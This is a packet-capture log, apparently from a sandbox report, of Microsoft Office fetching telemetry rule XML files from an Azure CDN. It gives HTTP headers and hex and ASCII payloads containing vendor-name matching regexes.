Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49750	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:40 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:40 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 678daa67-201e-00aa-3f60-173928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112640Z-1657d5bbd48qjg85buwfdynm5w00000003e000000000crd2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:40 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49752	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:40 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:40 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 5e879109-c01e-00a2-3e73-172327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112640Z-1657d5bbd48f7nlxc7n5fnfzh0000000030g00000000b3g5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:40 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49753	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:40 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:40 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 721d8bd8-801e-002a-4f00-1731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112640Z-1657d5bbd48wd55zet5pcra0cg00000003e0000000004g7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:40 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49754	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:40 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:40 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: cb78c1b2-201e-003f-2e04-176d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112640Z-1657d5bbd48tnj6wmberkg2xy800000003bg00000000h9zw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:40 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49755	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:40 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:40 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 568d6148-301e-0096-20a2-18e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112640Z-1657d5bbd48hzllksrq1r6zsvs00000000rg000000001r3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:40 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49756	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:40 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:40 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 04801829-801e-00ac-6301-17fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112640Z-1657d5bbd48qjg85buwfdynm5w00000003m00000000026vz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:40 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49757	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:40 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:41 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:40 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: c6abb369-c01e-000b-6dab-18e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112640Z-1657d5bbd48hzllksrq1r6zsvs00000000kg000000007pm3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-07 11:26:41 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49758	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:40 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 1ed82642-401e-0048-7b12-170409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112640Z-1657d5bbd482lxwq1dp2t1zwkc00000003800000000028aa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49759	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:41 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:41 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: e07611d1-201e-0085-2bab-1834e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112641Z-1657d5bbd48hzllksrq1r6zsvs00000000qg000000003exc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-07 11:26:41 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49760	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:41 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 3a03d6b9-d01e-0066-52e9-16ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112641Z-1657d5bbd48lknvp09v995n79000000002zg00000000dm00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49761	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:41 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 27cd2a1a-001e-0046-1b08-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112641Z-1657d5bbd48jwrqbupe3ktsx9w00000003gg00000000g4dg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:41 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49762	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:41 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 938e68e0-901e-0029-0160-17274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112641Z-1657d5bbd48lknvp09v995n7900000000310000000009x3d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data 